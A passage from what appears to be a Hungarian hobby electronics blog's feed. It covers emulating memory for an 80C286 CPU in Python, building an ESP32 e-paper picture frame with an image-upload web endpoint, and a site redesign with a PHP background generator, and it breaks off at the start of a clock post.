<p>Tehát egy adat buszhoz kapcsolódó művelet során tudjuk a teljes adatbuszt, a nagyobb helyi értékű felét vagy a kisebb helyi értékű felét írni/olvasni.</p>
<p>A 'Memory data read' esetünkben nagyon hasonlít a 'Memory instruction read'-hez, úgyhogy össze is vonhatjuk a kettőt. Az újdonság a fenti flag-ek kezelése és a kamu memória használata lesz.</p>
<pre><code class="hljs python">address = (a3 &lt;&lt; <span class="hljs-number">16</span>) + (a2 &lt;&lt; <span class="hljs-number">8</span>) + a1
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S1 <span class="hljs-keyword">and</span> S0:
    print(<span class="hljs-string">'Memory data read 0x{:06X}'</span>.format(address))
<span class="hljs-keyword">else</span>:
    print(<span class="hljs-string">'Memory instruction read 0x{:06X}'</span>.format(address))

<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> BHE <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> A0:
    print(<span class="hljs-string">'Word transfer 0x{:02X}{:02X}'</span>.format(MEMORY[address + <span class="hljs-number">1</span>], MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0x00</span>)
    chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0x00</span>)
    chip_data.writeRegister(MCP23S17.GPIOA, MEMORY[address])
    chip_data.writeRegister(MCP23S17.GPIOB, MEMORY[address + <span class="hljs-number">1</span>])
<span class="hljs-keyword">elif</span> <span class="hljs-keyword">not</span> BHE <span class="hljs-keyword">and</span> A0:
    print(<span class="hljs-string">'Byte transfer on upper half of data bus 0x{:02X}'</span>.format(MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0x00</span>)
    chip_data.writeRegister(MCP23S17.GPIOB, MEMORY[address])
<span class="hljs-keyword">elif</span> BHE <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> A0:
    print(<span class="hljs-string">'Byte transfer on lower half of data bus 0x{:02X}'</span>.format(MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0x00</span>)
    chip_data.writeRegister(MCP23S17.GPIOA, MEMORY[address])

chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
time.sleep(<span class="hljs-number">0.001</span>)
chip_flag.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0</span>)
time.sleep(<span class="hljs-number">0.001</span>)

chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xFF</span>)
chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xFF</span>)
</code></pre>
<p>Nem sokkal bonyolultabb, mint az eredeti NOP-os megoldásunk, de azért került bele egy extra pofon, amibe bele lehet futni. Milyen sorrendben tegyük a byte-okat az adat buszra? A <code>GPIOA</code> regiszter az adat busz legkisebb helyi értékű byte-ja, a <code>GPIOB</code> pedig a legnagyobb. Így például a kezdeti JMP utasításunk (<code>0xea00</code>) <code>0x00ea</code>-ként fog utazni (<a href="https://hu.wikipedia.org/wiki/B%C3%A1jtsorrend">little-endian</a>).</p>
<p>Érdemes kicsit visszagörgetni és megnézni, hogy már a <code>nasm</code> is csinált ilyen cseréket, például az összeadáshoz használt <code>0x1234</code> számunk a memóriában <code>0x3412</code>-ként van tárolva.</p>
<p>A 'Memory data write' nagyon egyszerű, csak a kamu memóriát kell használnunk:</p>
<pre><code class="hljs python">address = (a3 &lt;&lt; <span class="hljs-number">16</span>) + (a2 &lt;&lt; <span class="hljs-number">8</span>) + a1
print(<span class="hljs-string">'Memory data write 0x{:06X}'</span>.format(address))

<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> BHE <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> A0:
    print(<span class="hljs-string">'Word transfer 0x{:02X}{:02X}'</span>.format(d2, d1))
    MEMORY[address] = d1
    MEMORY[address + <span class="hljs-number">1</span>] = d2
<span class="hljs-keyword">elif</span> <span class="hljs-keyword">not</span> BHE <span class="hljs-keyword">and</span> A0:
    print(<span class="hljs-string">'Byte transfer on upper half of data bus 0x{:02X}'</span>.format(d2))
    MEMORY[address] = d2
<span class="hljs-keyword">elif</span> BHE <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> A0:
    print(<span class="hljs-string">'Byte transfer on lower half of data bus 0x{:02X}'</span>.format(d1))
    MEMORY[address] = d1
</code></pre>
<p>Itt is megfigyelhető a little-endian sorrend, bár a futtatások során nem láttam olyat, hogy egyszerre két byte-ot próbált volna írni a memóriába.</p>
<p>A 'halt / shutdown' során pedig csak kiíratjuk a memóriából az összeadás eredményét és kilépünk:</p>
<pre><code class="hljs python">print(<span class="hljs-string">'Result: 0x{:04X}'</span>.format((MEMORY[<span class="hljs-number">0x000514</span>] &lt;&lt; <span class="hljs-number">8</span>) + MEMORY[<span class="hljs-number">0x000513</span>]))
sys.exit(<span class="hljs-number">0</span>)
</code></pre>
<h3>A végeredmény</h3>
<p>A futtatásnak végül egy ilyesmi kimenetet kell kiadnia, ahol látszik, ahogy beolvassuk a kezdeti JMP utasítást, elugrunk az új címre, továbbolvassuk onnan az instrukciókat, beolvassuk a memóriából a két összeadandó számot majd visszaírjuk a memóriába az eredményt:</p>
<pre class="console"><code>RESET
A7-0:   0b11111111
A15-8:  0b11111111
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000
START
#40
Memory instruction read 0xFFFFF0
Word transfer 0x00EA
#43
Memory instruction read 0xFFFFF2
Word transfer 0x0005
#46
Memory instruction read 0xFFFFF4
Word transfer 0x0000
#49
Memory instruction read 0xFFFFF6
Word transfer 0x0000
#52
Memory instruction read 0xFFFFF8
Word transfer 0x0000
#67
Memory instruction read 0x000500
Word transfer 0xC031
#70
Memory instruction read 0x000502
Word transfer 0xD88E
#73
Memory instruction read 0x000504
Word transfer 0x0FA1
#76
Memory instruction read 0x000506
Word transfer 0x0305
#79
Memory instruction read 0x000508
Word transfer 0x1106
#82
Memory instruction read 0x00050A
Word transfer 0xA305
#85
Memory instruction read 0x00050C
Word transfer 0x0513
#88
Memory data read 0x00050F
Byte transfer on upper half of data bus 0x34
#91
Memory data read 0x000510
Byte transfer on lower half of data bus 0x12
#94
Memory instruction read 0x00050E
Word transfer 0x34F4
#99
Memory data read 0x000511
Byte transfer on upper half of data bus 0x0A
#102
Memory data read 0x000512
Byte transfer on lower half of data bus 0x00
#115
Memory data write 0x000513
Byte transfer on upper half of data bus 0x0A
#116
Memory data write 0x000513
Byte transfer on upper half of data bus 0x3E
#119
Memory data write 0x000514
Byte transfer on lower half of data bus 0x12
#120
Memory data write 0x000514
Byte transfer on lower half of data bus 0x12
#123
halt
Result: 0x123E
</code></pre>
<p>Hatalmas öröm volt először látni a helyes végeredményt a futás végén. Azt hiszem ezzel el is jutottam egy olyan mérföldkőhöz, aminél érdemes megállni és megpihenni.</p>
<p>Természetesen csak a felszínt kapargattuk meg, rengeteg minden tanulnivaló maradt még. Érdemes belelapozgatni egy kicsit <a href="https://deadlime.hu/uploads/2026/80C286_datasheet.pdf">a processzor adatlapjába</a>, esetleg elgondolkodni azon, hogy hogyan valósulnak meg a különböző perifériák, mint a billentyűzet vagy egy szöveges kijelző.</p>
<p>Ami viszont biztos, hogy a processzor számára egyáltalán nem virtuális ez a valóság. Mindegy neki, hogy honnan kapja az elektromos jelhalmazt, amíg az kompatibilis a saját belső valóságával.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Keretes szerkezet</title>
            <link>https://deadlime.hu/2025/04/12/keretes-szerkezet/</link>
            <pubDate>Sat, 12 Apr 2025 11:01:41 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[e-papír]]></category>
                    <category><![CDATA[ESP32]]></category>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">cc2e965c8741cf11149dbebd6318bbb5</guid>
            <description>E-papír alapú digitális képkeret</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Kaptam ajándékba egy e-papír kijelzőt és egy képkeretet, úgyhogy építünk egy otthoni klasztert használt mobiltelefonokból. Ja, nem. Egy digitális képkeretet építünk. Akit a klaszter jobban érdekelt volna, <s>az így járt</s> annak <a href="https://hackaday.com/2025/04/09/self-hosting-a-cluster-on-old-phones/">itt ez a cikk</a>.</p>
<p>A dolog (e-)papíron egyszerű. Egy ESP32 van rákötve a kijelzőre, ami fent lóg a hálózaton és várja az új képeket, hogy befrissíthesse a kijelzőt. De valahogy elő is kell állítanunk a megfelelő képeket, mert a kijelző csak a fekete és a fehér színeket ismeri.</p>
<h3>Összeszerelés</h3>
<p>A <a href="https://www.arcanum.com/hu/online-kiadvanyok/Lexikonok-magyar-etimologiai-szotar-F14D3/p-F3534/paszpartu-F3628/">paszpartu</a> (új szó, amit a projekt során tanultam, előtte &quot;az az izé, ami a kép körül van a kereten belül&quot; néven ismertem), amit a kerethez adtak, nem egészen stimmelt méretben az e-papír kijelzőhöz. Kereshettem volna hozzá egy megfelelő vastagságú kartonpapírt, de inkább megnyitottam a FreeCAD-et, terveztem egy újat és kinyomtattam.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/passe-partout_cad.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>A kijelző tökéletesen illeszkedik bele (2-3 próbanyomtatás után) és a szalagkábelnek is van egy kis hely.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_inside.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Szemfüles olvasók talán azt is meg tudják mondani, hogy melyik xkcd van épp a kijelzőn</p>

<p>A keret hátlapján vágnom kellett egy kis lyukat, ahol a kábelt ki lehet vezetni, hogy rá lehessen kötni az ESP32-re.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_back.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>A szalagkábellel óvatosan kell bánni, elég törékeny. Ne kérdezd, hogy honnan tudom. És biztos nem azért kell ilyen rövid kábellel vacakolnom, mert a hosszabbító egyik csatlakozóját valahogy sikerült elrontanom.</p>
<p>Végül az ESP32-t rögzítettem egy minden esztétikát nélkülöző megoldással.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_back2.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Az egészet megpróbáltam meghajtani egy <a href="https://www.ikea.com/hu/hu/p/varmfront-hordozhato-toelto-soetetkek-10555645/">IKEA-s powerbank</a>-ről, de mint kiderült ezek a szerkezetek lekapcsolják saját magukat, ha nincsen rájuk dugva valami fogyasztó. Az e-papír kijelző pedig úgy tűnik nem fogyaszt eleget, hogy azt érzékelje.</p>
<h3>Szoftver</h3>
<p>Először is próbáljunk meg megjeleníteni valamit, hogy lássuk, hogy minden jól működik. Az ESP32-t a <a href="https://www.waveshare.com/wiki/7.5inch_e-Paper_HAT_Manual#Overview">gyártó dokumentációja</a> alapján az Arduino IDE-vel lőttem össze, majd szintén a dokumentáció alapján megjelenítettem egy képet.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;DEV_Config.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;EPD.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;GUI_Paint.h&gt;</span></span>

UBYTE *<span class="hljs-built_in">image</span>;
UWORD imageSize = ((EPD_7IN5_V2_WIDTH % <span class="hljs-number">8</span> == <span class="hljs-number">0</span>) ? (EPD_7IN5_V2_WIDTH / <span class="hljs-number">8</span>) : (EPD_7IN5_V2_WIDTH / <span class="hljs-number">8</span> + <span class="hljs-number">1</span>)) * EPD_7IN5_V2_HEIGHT;
<span class="hljs-keyword">uint8_t</span> *imageData = <span class="hljs-literal">nullptr</span>;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">setup</span><span class="hljs-params">()</span> </span>{
  DEV_Module_Init();
  EPD_7IN5_V2_Init();
  EPD_7IN5_V2_Clear();
  DEV_Delay_ms(<span class="hljs-number">500</span>);

  <span class="hljs-keyword">if</span> ((<span class="hljs-built_in">image</span> = (UBYTE *)<span class="hljs-built_in">malloc</span>(imageSize)) == <span class="hljs-literal">NULL</span>) {
    <span class="hljs-built_in">Serial</span>.<span class="hljs-built_in">println</span>(<span class="hljs-string">"Failed to apply for image memory"</span>);
    <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>);
  }
  Paint_NewImage(<span class="hljs-built_in">image</span>, EPD_7IN5_V2_WIDTH, EPD_7IN5_V2_HEIGHT, <span class="hljs-number">0</span>, WHITE);

  Paint_SelectImage(<span class="hljs-built_in">image</span>);
  Paint_Clear(WHITE);
  Paint_DrawBitMap(imageData);
  EPD_7IN5_V2_Display(<span class="hljs-built_in">image</span>);
  DEV_Delay_ms(<span class="hljs-number">2000</span>);
}
</code></pre>
<p>Az <code>imageData</code>-nak jönnie kell valahonnan. Beégethetünk a kódba egy (vagy több) byte tömböt, de az nem túl rugalmas. Így ideje elgondolkodni azon, hogy hogyan is szeretnénk frissíteni a képet a kijelzőn.</p>
<p>Mivel van wifi, két irányba is elindulhatunk, vagy szerver leszünk vagy kliens. Én az előbbit választottam, kerestem egy <a href="https://github.com/ESP32Async/ESPAsyncWebServer">webszerver library</a>-t, ami működik a hardveren és csináltam egy <code>/upload</code> endpoint-ot.</p>
<pre><code class="hljs arduino"><span class="hljs-comment">// ...</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;AsyncTCP.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;ESPAsyncWebServer.h&gt;</span></span>

<span class="hljs-comment">// ...</span>
<span class="hljs-function"><span class="hljs-keyword">static</span> AsyncWebServer <span class="hljs-title">server</span><span class="hljs-params">(<span class="hljs-number">80</span>)</span></span>;
<span class="hljs-keyword">bool</span> imageChanged = <span class="hljs-literal">false</span>;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">on_request</span><span class="hljs-params">(AsyncWebServerRequest *request)</span> </span>{
  <span class="hljs-keyword">if</span> (request-&gt;getResponse()) {
    <span class="hljs-keyword">return</span>;
  }
  <span class="hljs-keyword">if</span> (!request-&gt;_tempObject) {
    <span class="hljs-keyword">return</span> request-&gt;send(<span class="hljs-number">400</span>, <span class="hljs-string">"text/plain"</span>, <span class="hljs-string">"Nothing uploaded"</span>);
  }

  imageData = <span class="hljs-keyword">reinterpret_cast</span>&lt;<span class="hljs-keyword">uint8_t</span> *&gt;(request-&gt;_tempObject);
  imageChanged = <span class="hljs-literal">true</span>;

  request-&gt;_tempObject = <span class="hljs-literal">nullptr</span>;

  request-&gt;send(<span class="hljs-number">200</span>, <span class="hljs-string">"text/plain"</span>, <span class="hljs-string">"OK"</span>);
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">on_upload</span><span class="hljs-params">(AsyncWebServerRequest *request, <span class="hljs-keyword">String</span> filename, <span class="hljs-keyword">size_t</span> index, <span class="hljs-keyword">uint8_t</span> *data, <span class="hljs-keyword">size_t</span> len, <span class="hljs-keyword">bool</span> <span class="hljs-keyword">final</span>)</span> </span>{
  <span class="hljs-built_in">Serial</span>.<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Upload[%s]: start=%u, len=%u, final=%d\n"</span>, filename.c_str(), index, len, <span class="hljs-keyword">final</span>);

  <span class="hljs-keyword">if</span> (!index) {
    <span class="hljs-keyword">size_t</span> <span class="hljs-built_in">size</span> = request-&gt;header(<span class="hljs-string">"Content-Length"</span>).toInt();
    <span class="hljs-keyword">if</span> (!<span class="hljs-built_in">size</span>) {
      request-&gt;send(<span class="hljs-number">400</span>, <span class="hljs-string">"text/plain"</span>, <span class="hljs-string">"No Content-Length"</span>);
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">Serial</span>.<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Allocating buffer of %u bytes\n"</span>, <span class="hljs-built_in">size</span>);
      <span class="hljs-keyword">uint8_t</span> *<span class="hljs-built_in">buffer</span> = <span class="hljs-keyword">new</span> (<span class="hljs-built_in">std</span>::nothrow) <span class="hljs-keyword">uint8_t</span>[<span class="hljs-built_in">size</span>];
      <span class="hljs-keyword">if</span> (!<span class="hljs-built_in">buffer</span>) {
        request-&gt;<span class="hljs-built_in">abort</span>();
      } <span class="hljs-keyword">else</span> {
        request-&gt;_tempObject = <span class="hljs-built_in">buffer</span>;
      }
    }
  }

  <span class="hljs-keyword">if</span> (len) {
    <span class="hljs-built_in">memcpy</span>(<span class="hljs-keyword">reinterpret_cast</span>&lt;<span class="hljs-keyword">uint8_t</span> *&gt;(request-&gt;_tempObject) + index, data, len);
  }
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">update_image</span><span class="hljs-params">()</span> </span>{
  Paint_SelectImage(<span class="hljs-built_in">image</span>);
  Paint_Clear(WHITE);
  Paint_DrawBitMap(imageData);
  EPD_7IN5_V2_Display(<span class="hljs-built_in">image</span>);
  DEV_Delay_ms(<span class="hljs-number">2000</span>);

  <span class="hljs-keyword">delete</span> imageData;
  imageData = <span class="hljs-literal">nullptr</span>;
  imageChanged = <span class="hljs-literal">false</span>;
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">setup</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-comment">// ...</span>

  server.on(<span class="hljs-string">"/upload"</span>, HTTP_POST, on_request, on_upload);
  server.<span class="hljs-built_in">begin</span>();
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">loop</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-keyword">if</span> (imageChanged) {
    update_image();
  }
  <span class="hljs-built_in">delay</span>(<span class="hljs-number">1000</span>);
}
</code></pre>
<p>Ezek után egy egyszerű <code>curl</code> paranccsal frissíthetjük a képet:</p>
<pre class="console"><code>$ curl -v -F &quot;data=@something.wbm&quot; &quot;http://192.168.255.50/upload&quot;
</code></pre>
<p>Már ha rendelkezünk a megfelelő formátumú képpel ugyebár. Ez a kijelző csak a feketét és a fehéret ismeri, még szürkeárnyalataink sincsenek, úgyhogy szükségünk lesz egy kis trükközésre.</p>
<h3>Kép generálás</h3>
<p>Először is fogjuk a 800x480 pixel méretű képünket (mert ez a kijelző felbontása), amit meg akarunk jeleníteni. Megnyitjuk <a href="https://krita.org/">Krita</a>-ban, a <code>Settings &gt; Dockers &gt; Palette</code> menüponttal előhozzuk a palettákat. A bal alsó sarokban lévő ikonra kattintva megnyitjuk a paletta választót, ott a <code>+</code> jellel hozzáadunk egy újat, amit mondjuk elnevezünk &quot;1bit&quot;-nek és beállítjuk rajta a fekete és a fehér színt.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/krita_new_palette.png" width="660" height="990" alt="" title="" loading="lazy" />
</p>

<p>Ezek után a palettás ablakok bezárhatóak, nem lesz már rá szükség. A <code>Filter &gt; Map &gt; Palettize...</code> menüpontra megyünk át, itt kiválasztjuk a Palette résznél az &quot;1bit&quot;-et, bekattintjuk a pipát a Dither előtt és választunk a Pattern alatt lévő minták közül egy olyat, amivel elfogadhatóan néz ki a képünk.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/krita_palettize.png" width="557" height="539" alt="" title="" loading="lazy" />
</p>

<p>Érdemes még a Color Mode és az Offset Scale beállításokkal játszani.</p>
<p>Mint <a href="https://deadlime.hu/2023/12/28/nincs-meg-itt-az-ido/">már korábban is</a>, a WBMP most is egy remek formátum lenne nekünk, de a Krita nem ismeri, úgyhogy jobb híján mentsük el a képet PNG-ként. Aztán az ImageMagick <code>convert</code> parancsával csinálhatunk belőle WBMP-t:</p>
<pre class="console"><code>$ convert image.png image.wbmp
</code></pre>
<p>Az így elkészült fájl elején lesz pontosan 6 bájtnyi felesleges WBMP header, amire nekünk semmi szükségünk, úgyhogy szabaduljunk is meg tőle.</p>
<pre class="console"><code>$ tail -c +7 image.wbmp &gt;image_no_header.wbmp
</code></pre>
<p>Ezt pedig már rögtön fel is tölthetjük a korábban ismertetett módon:</p>
<pre class="console"><code>$ curl -v -F &quot;data=@image_no_header.wbmp&quot; &quot;http://192.168.255.50/upload&quot;
</code></pre>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_pika.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Végül egy közeli az e-papír pixelekről:</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_pika_close.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>A projekt tetszőlegesen bonyolítható tovább, például egy programmal, ami bármilyen képet átalakít a megfelelő formátumra és feltölti a képkeretre. Vannak már komolyabb e-papír kijelzők szürkeárnyalatokkal, sőt színekkel is, de mi a bejegyzésre szánt keret végére értünk.</p>

]]></content:encoded>
        </item>
            <item>
            <title>deadlime: terminal velocity</title>
            <link>https://deadlime.hu/2025/04/07/deadlime-terminal-velocity/</link>
            <pubDate>Mon, 07 Apr 2025 11:02:56 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[siteinfo]]></category>
                    <category><![CDATA[CSS]]></category>
                    <category><![CDATA[HTML]]></category>
                    <category><![CDATA[PHP]]></category>
                    
            <guid isPermaLink="false">e3d6a02ee907fd4ba0b3ff459960eef7</guid>
            <description>Húsz éves volt a blog tavaly, de csak most jutottam el idáig</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/terminal_velocity.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Nyolc év. Nagyjából nyolc éve nem változott nagyobb mértékben az oldal kinézete. Voltak itt-ott kisebb átalakítások, de semmi komoly. 2024-re terveztem egy nagyobb ráncfelvarrást az oldal 20 éves évfordulójának alkalmából, de nem jött az ihlet. Készült egy fejléc kép még 2024 januárjában, de nem voltam vele elégedett. Aztán szépen gyorsan eltelt egy év és itt is vagyunk.</p>
<h3>A háttérkép</h3>
<p>Amikor a háttérnek nekikezdtem, akkor még nem tudtam, hogy a többi rész is el fog készülni, csak gondoltam vicces lenne random, programozásban használatos karaktereket odadobálni. Esetleg megszínezni őket úgy, mintha kódkiemelés lenne. Ez utóbbit végül elvetettem, hogy ne vonja el annyira a figyelmet a tartalomról. Helyette először random szürke árnyalatokat próbáltam ki, de túl random volt, úgyhogy a végül a <a href="https://en.wikipedia.org/wiki/Perlin_noise">Perlin-zaj</a> lett az alapja a karakterek színének.</p>
<p>Egy eldobható kis PHP scripttel generáltam ki a megfelelő HTML-t, amit aztán lementettem képként, abból lett a háttérkép. A sötét téma változata pedig csak invertálva lett.</p>
<pre><code class="hljs xml"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/css"</span>&gt;</span><span class="css">
<span class="hljs-selector-tag">html</span>, <span class="hljs-selector-tag">body</span> {
  <span class="hljs-attribute">font</span>: <span class="hljs-number">24px</span> <span class="hljs-string">'DejaVu Sans Mono'</span>;
  <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span>;
  <span class="hljs-attribute">padding</span>: <span class="hljs-number">0</span>;
}
<span class="hljs-selector-class">.bg</span> {
  <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#e6e6e6</span>;
  <span class="hljs-attribute">color</span>: <span class="hljs-number">#000</span>;
  <span class="hljs-attribute">width</span>: <span class="hljs-number">1920px</span>;
}
<span class="hljs-selector-class">.char</span> {
  <span class="hljs-attribute">display</span>: inline-block;
  <span class="hljs-attribute">height</span>: <span class="hljs-number">60px</span>;
  <span class="hljs-attribute">line-height</span>: <span class="hljs-number">60px</span>;
  <span class="hljs-attribute">text-align</span>: center;
  <span class="hljs-attribute">width</span>: <span class="hljs-number">60px</span>;
}
  </span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"bg"</span>&gt;</span>
<span class="hljs-comment">&lt;!-- PHP script helye --&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>Az oldal kódszínezése nem kezeli jól a HTML-ben lévő PHP kódot, úgyhogy inkább különszedtem őket.</p>
<pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span>
$chars = <span class="hljs-string">'\'"+!%/=(),.-?:_$\|&lt;&gt;#&amp;@{}[]'</span>;

<span class="hljs-keyword">for</span> ($y = <span class="hljs-number">0</span>; $y &lt; <span class="hljs-number">32</span>; ++$y) {
  <span class="hljs-keyword">for</span> ($x = <span class="hljs-number">0</span>; $x &lt; <span class="hljs-number">32</span>; ++$x) {
    $p = round(<span class="hljs-number">20</span> + perlin($x*<span class="hljs-number">0.25</span>, $y*<span class="hljs-number">0.25</span>) * <span class="hljs-number">80</span>, <span class="hljs-number">2</span>);
    <span class="hljs-keyword">print</span>(<span class="hljs-string">'&lt;div class="char" style="filter: opacity('</span> . $p . <span class="hljs-string">'%);"&gt;'</span>);
    <span class="hljs-keyword">print</span>(htmlspecialchars($chars[mt_rand(<span class="hljs-number">0</span>, strlen($chars) - <span class="hljs-number">1</span>)]));
    <span class="hljs-keyword">print</span>(<span class="hljs-string">'&lt;/div&gt;'</span>);
  }
}
<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>A <code>perlin()</code> függvény PHP-s implementációját az AI-ra bíztam, nagyjából jól működött, de néha negatív értékeket adott vissza, annak ellenére, hogy 0 és 1 között kellett volna lennie a válasznak.</p>
<h3>A fejléc kép</h3>
<p>Az új alcím már egész régóta megvolt, tetszett a kis szójáték a végsebesség és a terminál sebessége között. Ez nagyjából meghatározta, hogy milyen irányba szeretnék elindulni az új fejléc képpel. Valami terminálra emlékeztető, valami sebességgel kapcsolatos, és természetesen legyen rajta lime.</p>
<p>Az alapját, a buborékos-lime szeletes képet az AI szolgáltatta. Általában ingyenes stock fotókat szoktam vadászni, de nem jött most olyan szembe, ami megihletett volna.</p>
<p>Kerültek rá <a href="https://en.wikipedia.org/wiki/Scan_line">CRT scanline</a>-ok, ami talán ad egy kis terminálos érzetet. Az alcím is egy root terminál prompt, a végén kurzorral (<code># terminal velocity_</code>). A vízszintes <a href="https://en.wikipedia.org/wiki/Glitch_art">glitch</a>-vonalak pedig a vizuális érdkesség mellett talán sikeresen keltik a mozgás, a sebesség érzetét. De nem mennék műelemzési mélységekbe. :)</p>
<p>Az elkészítéshez a <a href="https://krita.org/">Krita</a> nevű programot használtam. Berozsdásodott Photoshop ismereteimmel is egész otthonosan mozogtam benne, nem volt olyan életidegen, mint amilyennek a <a href="https://www.gimp.org/">GIMP</a>-et szoktam érezni.</p>
<h3>És a többi</h3>
<p>A többi pedig nem változott. Nagyjából elégedett vagyok a szövegek elrendezésével, a betűméretekkel, a színekkel. Két verzió közti apróbb módosítások általában ezen a téren történnek. Egy kis padding javítás itt, egy kis betűméret igazítás ott, vagy épp a dark mode lefejlesztése.</p>
<p>A blog motor se változott különösebben, még mindig a saját házibarkács statikus site generátorom generálja a HTML-t az oldalhoz. Talán csak a kódszínezés lett lecserélve kliens oldaliról szerver oldalira, hogy ne kelljen JavaScript az oldal működéséhez.</p>
<p>Szóval nagyjából ennyi. További kellemes olvasást az elkövetkező 20 évre is.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Az idő utazása</title>
            <link>https://deadlime.hu/2024/08/30/az-ido-utazasa/</link>
            <pubDate>Fri, 30 Aug 2024 18:04:18 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">6a86543adc3a3bbad095b10bf59c1bd0</guid>
            <description>Tovább bonyolódik az óra fejlesztés, megérkeztek az időzónák</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/pico_clock.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Úgy érzem magam, mint a Die Hard filmek magyar címeinek kitalálói érezhették magukat a negyedik rész környékén, amikor már nem nagyon tudtak több élet-szerű címmel előállni. Én is kezdek kifogyni az idővel kapcsolatos címekből, pedig ismét haladt előre egy kicsit a projekt.</p>
